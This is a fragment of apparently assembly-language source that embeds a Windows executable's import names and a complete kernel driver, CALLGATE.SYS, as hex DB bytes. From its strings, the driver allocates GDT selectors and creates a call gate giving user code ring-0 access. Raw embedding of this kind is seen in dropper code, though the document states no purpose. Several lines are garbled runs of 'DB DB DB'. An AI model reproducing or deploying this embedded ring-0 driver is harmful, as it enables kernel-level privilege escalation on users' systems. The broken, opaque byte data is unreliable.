065H,074H,053H,074H,061H,072H,074H,075H,070H,049H,06EH,066H,06FH,041H,000H 044H,000H,044H,065H,06CH,065H,074H,065H,043H,072H,069H,074H,069H,063H,061H 06CH,053H,065H,063H,074H,069H,06FH,06EH,000H,0E9H,000H,047H,065H,074H,04DH 06FH,064H,075H,06CH,065H,046H,069H,06CH,065H,04EH,061H,06DH,065H,041H,000H 000H,098H,000H,047H,065H,074H,043H,050H,049H,06EH,066H,06FH,000H,092H,000H 047H,065H,074H,041H,043H,050H,000H,000H,0F6H,000H,047H,065H,074H,04FH,045H 04DH,043H,050H,000H,000H,08BH,000H,046H,072H,065H,065H,045H,06EH,076H,069H 072H,06FH,06EH,06DH,065H,06EH,074H,053H,074H,072H,069H,06EH,067H,073H,041H 000H,0D0H,000H,047H,065H,074H,045H,06EH,076H,069H,072H,06FH,06EH,06DH,065H 06EH,074H,053H,074H,072H,069H,06EH,067H,073H,000H,08CH,000H,046H,072H,065H 065H,045H,06EH,076H,069H,072H,06FH,06EH,06DH,065H,06EH,074H,053H,074H,072H 069H,06EH,067H,073H,057H,000H,0D2H,000H,047H,065H,074H,045H,06EH,076H,069H 072H,06FH,06EH,06DH,065H,06EH,074H,053H,074H,072H,069H,06EH,067H,073H,057H 000H,000H,042H,002H,057H,069H,064H,065H,043H,068H,061H,072H,054H,06FH,04DH 075H,06CH,074H,069H,042H,079H,074H,065H,000H,04FH,002H,057H,072H,069H,074H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

065H,046H,069H,06CH,065H,000H,064H,001H,049H,06EH,069H,074H,069H,061H,06CH 069H,07AH,065H,043H,072H,069H,074H,069H,063H,061H,06CH,053H,065H,063H,074H 069H,06FH,06EH,000H,04FH,000H,045H,06EH,074H,065H,072H,043H,072H,069H,074H 069H,063H,061H,06CH,053H,065H,063H,074H,069H,06FH,06EH,000H,000H,077H,001H 04CH,065H,061H,076H,065H,043H,072H,069H,074H,069H,063H,061H,06CH,053H,065H 063H,074H,069H,06FH,06EH,000H,000H,053H,001H,048H,065H,061H,070H,041H,06CH 06CH,06FH,063H,000H,059H,001H,048H,065H,061H,070H,046H,072H,065H,065H,000H 000H,078H,001H,04CH,06FH,061H,064H,04CH,069H,062H,072H,061H,072H,079H,041H 000H,000H,083H,000H,046H,06CH,075H,073H,068H,046H,069H,06CH,065H,042H,075H 066H,066H,065H,072H,073H,000H,000H,006H,002H,053H,065H,074H,053H,074H,064H 048H,061H,06EH,064H,06CH,065H,000H,000H,0F8H,001H,053H,065H,074H,046H,069H 06CH,065H,050H,06FH,069H,06EH,074H,065H,072H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,010H,000H,000H,034H,001H 000H,000H,020H,030H,026H,030H,07CH,030H,093H,030H,099H,030H,0E4H,030H,0EAH 030H,00BH,031H,01FH,031H,027H,031H,064H,031H,082H,031H,088H,031H,0E1H,031H 0F0H,031H,0F6H,031H,01CH,032H,022H,032H,064H,032H,084H,032H,089H,032H,094H 032H,0A5H,032H,0ADH,032H,0C8H,032H,0E0H,032H,0FBH,032H,013H,033H,03DH,033H 073H,033H,0A7H,033H,0B5H,033H,0D3H,033H,0E9H,033H,0F8H,033H,00BH,034H,02DH 034H,034H,034H,054H,034H,079H,034H,09DH,034H,0BEH,034H,0E6H,034H,002H,035H 00BH,035H,033H,035H,045H,035H,04EH,035H,06FH,035H,075H,035H,07BH,035H,097H 035H,09DH,035H,0A6H,035H,0ADH,035H,0C8H,035H,0D7H,035H,0E0H,035H,0E5H,035H 0EBH,035H,0F5H,035H,00EH,036H,013H,036H,01EH,036H,024H,036H,05EH,036H,069H 036H,06FH,036H,0C3H,036H,0D2H,036H,0F0H,036H,0FAH,036H,066H,037H,081H,037H 090H,037H,0B0H,037H,0C1H,037H,0CCH,037H,0D1H,037H,0DEH,037H,0E3H,037H,029H 038H,03CH,038H,044H,038H,04DH,038H,056H,038H,069H,038H,070H,038H,075H,038H 082H,038H,087H,038H,0A6H,038H,0F8H,038H,0FDH,038H,01EH,039H,025H,039H,038H 039H,056H,039H,062H,039H,068H,039H,087H,039H,0A4H,039H,0ABH,039H,0B2H,039H 0D0H,039H,0D7H,039H,0EAH,039H,006H,03AH,012H,03AH,027H,03AH,02EH,03AH,0A4H 03AH,0ABH,03AH,0CBH,03AH,0D0H,03AH,0E1H,03AH,0E8H,03AH,01CH,03BH,022H,03BH 049H,03BH,05DH,03BH,094H,03BH,09BH,03BH,0BAH,03BH,0EAH,03BH,0F4H,03BH,00DH 03CH,027H,03CH,048H,03CH,071H,03CH,07FH,03CH,0B8H,03CH,0BFH,03CH,0D4H,03CH 0DBH,03CH,01AH,03DH,035H,03DH,06CH,03DH,085H,03DH,0F0H,03DH,01BH,03EH,024H 03EH,029H,03EH,02FH,03EH,03AH,03EH,09CH,03EH,0A2H,03EH,0FBH,03EH,03FH,03FH 000H,000H,000H,020H,000H,000H,040H,001H,000H,000H,024H,030H,045H,030H,0B2H 030H,0F2H,030H,006H,031H,014H,031H,022H,031H,05AH,031H,078H,031H,088H,031H 09AH,031H,0BCH,031H,0DAH,031H,0E0H,031H,0FFH,031H,00CH,032H,011H,032H,01FH 032H,028H,032H,04EH,032H,053H,032H,05AH,032H,07CH,032H,0C2H,032H,0D5H,032H 0DFH,032H,0EAH,032H,0F4H,032H,0FFH,032H,008H,033H,022H,033H,029H,033H,048H 033H,04CH,033H,050H,033H,054H,033H,058H,033H,074H,033H,081H,033H,086H,033H 08CH,033H,091H,033H,0B5H,033H,0C2H,033H,0D0H,033H,0E0H,033H,0ECH,033H,00AH 034H,010H,034H,061H,034H,088H,034H,09EH,034H,0AFH,034H,0BFH,034H,0CCH,034H 00CH,035H,031H,035H,055H,035H,061H,035H,070H,035H,085H,035H,0A9H,035H,0C2H 035H,0CBH,035H,0DEH,035H,0EBH,035H,0F4H,035H,01AH,036H,027H,036H,073H,036H 081H,036H,0C2H,036H,0F5H,036H,02AH,037H,049H,037H,059H,037H,061H,037H,07FH 037H,092H,037H,099H,037H,0A1H,037H,0A9H,037H,0B1H,037H,0C5H,037H,0CEH,037H 001H,038H,009H,038H,011H,038H,019H,038H,03CH,038H,071H,038H,090H,038H,0AAH 038H,0B1H,038H,0C8H,038H,0CFH,038H,0D6H,038H,0F0H,038H,022H,039H,038H,039H 03FH,039H,046H,039H,060H,039H,092H,039H,0B6H,039H,0BBH,039H,0D4H,039H,0E7H 039H,00CH,03AH,013H,03AH,021H,03AH,086H,03AH,090H,03AH,0A7H,03AH,0AEH,03AH 0B4H,03AH,0BFH,03AH,0C5H,03AH,0CDH,03AH,0D6H,03AH,0DEH,03AH,0E3H,03AH,0EBH 03AH,0F0H,03AH,002H,03BH,00CH,03BH,024H,03BH,072H,03BH,07CH,03BH,088H,03BH 091H,03BH,09CH,03BH,0AAH,03BH,0B4H,03BH,0C9H,03BH,0DCH,03BH,0E4H,03BH,0FAH 03BH,010H,03CH,02FH,03CH,047H,03CH,06BH,03CH,0B7H,03CH,0C4H,03CH,0C9H,03CH 0EFH,03CH,0FEH,03CH,010H,03DH,021H,03DH,020H,03EH,03CH,03EH,07FH,03EH,069H 03FH,079H,03FH,0B4H,03FH,0BEH,03FH,000H,030H,000H,000H,040H,000H,000H,000H 018H,030H,030H,030H,0C8H,030H,07FH,031H,0AAH,031H,0C6H,031H,0D8H,032H,0F0H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

032H,076H,033H,080H,033H,0B9H,033H,01FH,034H,02CH,034H,051H,034H,0B8H,034H 0C8H,034H,0E8H,034H,011H,035H,056H,035H,06FH,035H,0B7H,035H,0DEH,035H,0F9H 035H,027H,036H,033H,036H,076H,036H,088H,036H,0B1H,036H,000H,050H,000H,000H 058H,000H,000H,000H,00CH,030H,018H,030H,03CH,030H,068H,030H,08CH,035H,094H 035H,09CH,035H,0A4H,035H,0ACH,035H,0B4H,035H,0BCH,035H,0C4H,035H,0CCH,035H 0D4H,035H,0DCH,035H,0E4H,035H,0ECH,035H,0F4H,035H,0FCH,035H,004H,036H,00CH 036H,07CH,036H,09CH,036H,0ACH,036H,0BCH,036H,028H,038H,030H,038H,0E0H,03AH 0E4H,03AH,0E8H,03AH,088H,03CH,08CH,03CH,090H,03CH,094H,03CH,098H,03CH,09CH 03CH,0A0H,03CH,0A4H,03CH,0A8H,03CH,0ACH,03CH,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H

SYS_SIZ EQU 4080

SYS DB 04DH,05AH,090H,000H,003H,000H,000H,000H,004H,000H,000H,000H,0FFH,0FFH DB 000H,000H,0B8H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,080H,000H,000H,000H,00EH,01FH,0BAH,00EH,000H,0B4H,009H,0CDH,021H,0B8H DB 001H,04CH,0CDH,021H,054H,068H,069H,073H,020H,070H,072H,06FH,067H,072H,061H DB 06DH,020H,063H,061H,06EH,06EH,06FH,074H,020H,062H,065H,020H,072H,075H,06EH DB 020H,069H,06EH,020H,044H,04FH,053H,020H,06DH,06FH,064H,065H,02EH,00DH,00DH DB 00AH,024H,000H,000H,000H,000H,000H,000H,000H,050H,045H,000H,000H,04CH,001H DB 004H,000H,0D7H,06BH,061H,033H,000H,000H,000H,000H,02CH,000H,000H,000H,0E0H DB 000H,006H,003H,00BH,001H,003H,000H,040H,004H,000H,000H,060H,008H,000H,000H DB 000H,000H,000H,000H,04DH,004H,000H,000H,020H,002H,000H,000H,060H,006H,000H DB 000H,000H,000H,001H,000H,020H,000H,000H,000H,020H,000H,000H,000H,003H,000H DB 033H,000H,003H,000H,033H,000H,003H,000H,033H,000H,000H,000H,000H,000H,0C0H DB 00EH,000H,000H,020H,002H,000H,000H,0ACH,0F4H,000H,000H,001H,000H,000H,000H DB 000H,000H,010H,000H,000H,010H,000H,000H,000H,000H,010H,000H,000H,010H,000H DB 000H,000H,000H,000H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,060H,00CH,000H,000H,028H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,00EH,000H,000H,088H,000H,000H,000H,020H,002H,000H DB 000H,038H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 0B8H,00CH,000H,000H,030H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,02EH,074H,065H,078H,074H,000H,000H,000H,028H,004H,000H,000H,020H DB 002H,000H,000H,040H,004H,000H,000H,020H,002H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,060H,02EH,064H,061H DB 074H,061H,000H,000H,000H,000H,006H,000H,000H,060H,006H,000H,000H,000H,006H DB 000H,000H,060H,006H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,040H,000H,000H,0C0H,02EH,069H,064H,061H,074H,061H,000H,000H DB 082H,001H,000H,000H,060H,00CH,000H,000H,0A0H,001H,000H,000H,060H,00CH,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,040H,000H DB 000H,0C0H,02EH,072H,065H,06CH,06FH,063H,000H,000H,0A6H,000H,000H,000H,000H DB 00EH,000H,000H,0C0H,000H,000H,000H,000H,00EH,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,042H,000H,000H,000H DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,0D7H,06BH,061H,033H,000H,000H DB 000H,000H,004H,000H,000H,000H,010H,001H,000H,000H,000H,000H,000H,000H,0C0H DB 00EH,000H,000H,000H,000H,000H,000H,0D7H,06BH,061H,033H,000H,000H,000H,000H DB 003H,000H,000H,000H,020H,000H,000H,000H,000H,000H,000H,000H,0D0H,00FH,000H DB 000H,000H,000H,000H,000H,0D7H,06BH,061H,033H,000H,000H,000H,000H,003H,000H DB 000H,000H,020H,000H,000H,000H,000H,000H,000H,000H,0F8H,019H,000H,000H,08DH DB 044H,024H,008H,056H,050H,0BEH,060H,008H,001H,000H,0FFH,074H,024H,00CH,056H DB 0A3H,050H,00CH,001H,000H,0E8H,0B4H,003H,000H,000H,083H,0C4H,00CH,0C7H,005H DB 050H,00CH,001H,000H,000H,000H,000H,000H,056H,0E8H,09BH,003H,000H,000H,083H DB 0C4H,004H,05EH,0C3H,055H,08BH,0ECH,083H,0ECH,004H,053H,08DH,045H,0FCH,056H DB 06AH,002H,050H,0FFH,015H,0C8H,00CH,001H,000H,08BH,0F0H,085H,0F6H,074H,012H DB 068H,094H,006H,001H,000H,0E8H,0AAH,0FFH,0FFH,0FFH,083H,0C4H,004H,0E9H,02DH DB 001H,000H,000H,00FH,0B7H,045H,0FEH,00FH,0B7H,04DH,0FCH,050H,033H,0DBH,051H DB 068H,074H,006H,001H,000H,0E8H,08CH,0FFH,0FFH,0FFH,080H,00DH,04DH,00CH,001H DB 000H,002H,066H,0C7H,005H,048H,00CH,001H,000H,0FFH,0FFH,080H,025H,04DH,00CH DB 001H,000H,0FBH,066H,089H,01DH,04AH,00CH,001H,000H,083H,0C4H,00CH,080H,00DH DB 04DH,00CH,001H,000H,008H,080H,00DH,04DH,00CH,001H,000H,010H,080H,025H,04DH DB 00CH,001H,000H,09FH,088H,01DH,04CH,00CH,001H,000H,088H,01DH,04FH,00CH,001H DB 000H,080H,00DH,04DH,00CH,001H,000H,080H,080H,00DH,04EH,00CH,001H,000H,00FH DB 066H,08BH,055H,0FCH,08BH,04DH,008H,080H,025H,04EH,00CH,001H,000H,0DFH,080H DB 00DH,04EH,00CH,001H,000H,040H,080H,00DH,04EH,00CH,001H,000H,080H,08BH,001H DB 066H,0A3H,058H,00CH,001H,000H,066H,089H,015H,05AH,00CH,001H,000H,08BH,041H DB 004H,032H,005H,05CH,00CH,001H,000H,024H,00FH,030H,005H,05CH,00CH,001H,000H DB 0A0H,05DH,00CH,001H,000H,080H,025H,05CH,00CH,001H,000H,00FH,024H,0FCH,00CH DB 00CH,0A2H,05DH,00CH,001H,000H,080H,025H,05DH,00CH,001H,000H,0EFH,066H,08BH DB 075H,0FEH,080H,00DH,05DH,00CH,001H,000H,060H,080H,00DH,05DH,00CH,001H,000H DB 080H,08BH,001H,068H,048H,00CH,001H,000H,0C1H,0E8H,010H,066H,0A3H,05EH,00CH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

001H,000H,00FH,0B7H,0C2H,066H,089H,051H,008H,050H,066H,089H,071H,00AH,0FFH 015H,0C4H,00CH,001H,000H,08BH,0F0H,085H,0F6H,075H,01BH,00FH,0B7H,045H,0FEH 068H,058H,00CH,001H,000H,050H,0FFH,015H,0C4H,00CH,001H,000H,08BH,0F0H,0B8H 000H,000H,000H,000H,085H,0F6H,074H,01CH,056H,068H,060H,006H,001H,000H,0E8H 084H,0FEH,0FFH,0FFH,083H,0C4H,008H,08DH,045H,0FCH,06AH,002H,050H,0FFH,015H 0C0H,00CH,001H,000H,08BH,0C6H,05EH,05BH,08BH,0E5H,05DH,0C2H,004H,000H,055H 08BH,044H,024H,008H,066H,08BH,048H,008H,08BH,0ECH,066H,08BH,040H,00AH,083H 0ECH,004H,066H,089H,04DH,0FCH,056H,066H,089H,045H,0FEH,06AH,002H,08DH,04DH 0FCH,051H,0FFH,015H,0C0H,00CH,001H,000H,08BH,0F0H,085H,0F6H,074H,00EH,056H 068H,0BCH,006H,001H,000H,0E8H,033H,0FEH,0FFH,0FFH,083H,0C4H,008H,08BH,0C6H 05EH,08BH,0E5H,05DH,0C2H,004H,000H,055H,08BH,0ECH,083H,0ECH,064H,053H,056H 057H,033H,0DBH,0BEH,05CH,007H,001H,000H,08DH,07DH,0C8H,0B9H,008H,000H,000H 000H,089H,05DH,0FCH,0F3H,0A5H,066H,0A5H,0BEH,030H,007H,001H,000H,08DH,07DH 09CH,0B9H,00AH,000H,000H,000H,068H,00CH,007H,001H,000H,0F3H,0A5H,066H,0A5H 0E8H,0B5H,001H,000H,000H,083H,0C4H,004H,08DH,045H,0C8H,08DH,04DH,0F4H,050H 051H,0FFH,015H,0D4H,00CH,001H,000H,08DH,04DH,0FCH,08DH,055H,0F4H,051H,08BH 07DH,008H,06AH,001H,053H,068H,000H,083H,000H,000H,052H,06AH,004H,057H,0FFH 015H,0D8H,00CH,001H,000H,08BH,0F0H,085H,0F6H,07CH,048H,08DH,045H,09CH,08DH 04DH,0ECH,050H,051H,0FFH,015H,0D4H,00CH,001H,000H,08DH,04DH,0F4H,08DH,055H 0ECH,051H,052H,0FFH,015H,0B8H,00CH,001H,000H,08BH,0F0H,085H,0F6H,07DH,00DH 068H,0E0H,006H,001H,000H,0E8H,056H,001H,000H,000H,083H,0C4H,004H,0B8H,01CH 005H,001H,000H,085H,0F6H,089H,047H,070H,089H,047H,040H,0C7H,047H,034H,0E9H 005H,001H,000H,089H,047H,038H,07DH,00FH,083H,07DH,0FCH,000H,074H,009H,0FFH 075H,0FCH,0FFH,015H,0CCH,00CH,001H,000H,08BH,0C6H,05FH,05EH,05BH,08BH,0E5H 05DH,0C2H,008H,000H,053H,033H,0C9H,056H,057H,08BH,074H,024H,014H,055H,08DH 07EH,018H,08BH,06EH,060H,08BH,05EH,00CH,089H,04EH,01CH,089H,00FH,00FH,0B6H 045H,000H,085H,0C0H,074H,00FH,083H,0F8H,002H,074H,019H,083H,0F8H,00EH,074H 023H,0E9H,089H,000H,000H,000H,068H,024H,008H,001H,000H,0E8H,0E7H,000H,000H 000H,083H,0C4H,004H,0EBH,07AH,068H,008H,008H,001H,000H,0E8H,0D8H,000H,000H 000H,083H,0C4H,004H,0EBH,06BH,068H,0E0H,007H,001H,000H,0E8H,0C9H,000H,000H 000H,083H,0C4H,004H,08BH,045H,00CH,03DH,0C0H,020H,000H,083H,074H,01CH,03DH 0C4H,020H,000H,083H,074H,039H,068H,080H,007H,001H,000H,0C7H,007H,00DH,000H 000H,0C0H,0E8H,0A5H,000H,000H,000H,083H,0C4H,004H,0EBH,038H,053H,0E8H,004H 0FDH,0FFH,0FFH,050H,089H,007H,068H,0C8H,007H,001H,000H,0E8H,0C5H,0FCH,0FFH 0FFH,083H,0C4H,008H,083H,03FH,000H,075H,01DH,0C7H,046H,01CH,00CH,000H,000H 000H,0EBH,014H,053H,0E8H,043H,0FEH,0FFH,0FFH,050H,068H,0B0H,007H,001H,000H 0E8H,0A3H,0FCH,0FFH,0FFH,083H,0C4H,008H,08BH,03FH,033H,0D2H,08BH,0CEH,0FFH 015H,0DCH,00CH,001H,000H,08BH,0C7H,05DH,05FH,05EH,05BH,0C2H,008H,000H,055H 0B9H,00AH,000H,000H,000H,08BH,0ECH,083H,0ECH,034H,056H,057H,0BEH,030H,007H 001H,000H,08DH,07DH,0CCH,0F3H,0A5H,066H,0A5H,08DH,045H,0CCH,08DH,04DH,0F8H 050H,051H,0FFH,015H,0D4H,00CH,001H,000H,08DH,04DH,0F8H,051H,0FFH,015H,0E0H 00CH,001H,000H,08BH,04DH,008H,0FFH,071H,004H,0FFH,015H,0CCH,00CH,001H,000H 068H,044H,008H,001H,000H,0E8H,00CH,000H,000H,000H,083H,0C4H,004H,05FH,05EH 08BH,0E5H,05DH,0C2H,004H,000H,0CCH,0FFH,025H,0D0H,00CH,001H,000H,0FFH,025H 0BCH,00CH,001H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,053H,065H 074H,047H,064H,074H,053H,065H,06CH,065H,063H,074H,06FH,072H,03DH,025H,078H 00AH,000H,000H,053H,065H,06CH,065H,063H,074H,06FH,072H,073H,020H,061H,06CH 06CH,06FH,063H,061H,074H,065H,064H,020H,03DH,020H,025H,078H,020H,025H,078H 00AH,000H,000H,000H,000H,055H,06EH,061H,062H,06CH,065H,020H,074H,06FH,020H 061H,06CH,06CH,06FH,063H,061H,074H,065H,020H,073H,065H,06CH,065H,063H,074H 06FH,072H,073H,020H,066H,072H,06FH,06DH,020H,047H,044H,054H,00AH,000H,000H 052H,065H,06CH,065H,061H,073H,065H,047H,044H,054H,053H,065H,06CH,065H,063H 074H,06FH,072H,073H,020H,066H,061H,069H,06CH,065H,064H,02CH,020H,072H,063H 03DH,025H,078H,00AH,000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH 053H,059H,053H,03AH,020H,049H,06FH,043H,072H,065H,061H,074H,065H,053H,079H 06DH,062H,06FH,06CH,069H,063H,04CH,069H,06EH,06BH,020H,066H,061H,069H,06CH 065H,064H,00AH,000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H 059H,053H,03AH,020H,065H,06EH,074H,065H,072H,069H,06EH,067H,020H,044H,072H 069H,076H,065H,072H,045H,06EH,074H,072H,079H,00AH,000H,05CH,000H,044H,000H 06FH,000H,073H,000H,044H,000H,065H,000H,076H,000H,069H,000H,063H,000H,065H 000H,073H,000H,05CH,000H,063H,000H,061H,000H,06CH,000H,06CH,000H,067H,000H 061H,000H,074H,000H,065H,000H,000H,000H,000H,000H,05CH,000H,044H,000H,065H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

000H,076H,000H,069H,000H,063H,000H,065H,000H,05CH,000H,063H,000H,061H,000H 06CH,000H,06CH,000H,067H,000H,061H,000H,074H,000H,065H,000H,000H,000H,000H 000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH,020H 075H,06EH,06BH,06EH,06FH,077H,06EH,020H,049H,052H,050H,05FH,04DH,04AH,05FH 044H,045H,056H,049H,043H,045H,05FH,043H,04FH,04EH,054H,052H,04FH,04CH,00AH 000H,000H,000H,000H,052H,065H,06CH,065H,061H,073H,065H,043H,061H,06CH,06CH 047H,061H,074H,065H,020H,072H,063H,03DH,025H,078H,00AH,000H,000H,043H,072H 065H,061H,074H,065H,043H,061H,06CH,06CH,047H,061H,074H,065H,020H,072H,063H 03DH,025H,078H,00AH,000H,000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H 02EH,053H,059H,053H,03AH,020H,049H,052H,050H,05FH,04DH,04AH,05FH,044H,045H 056H,049H,043H,045H,05FH,043H,04FH,04EH,054H,052H,04FH,04CH,00AH,000H,000H 000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH 020H,049H,052H,050H,05FH,04DH,04AH,05FH,043H,04CH,04FH,053H,045H,00AH,000H 043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH,020H,049H 052H,050H,05FH,04DH,04AH,05FH,043H,052H,045H,041H,054H,045H,00AH,000H,000H 000H,000H,043H,041H,04CH,04CH,047H,041H,054H,045H,02EH,053H,059H,053H,03AH 020H,075H,06EH,06CH,06FH,061H,064H,069H,06EH,067H,00AH,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 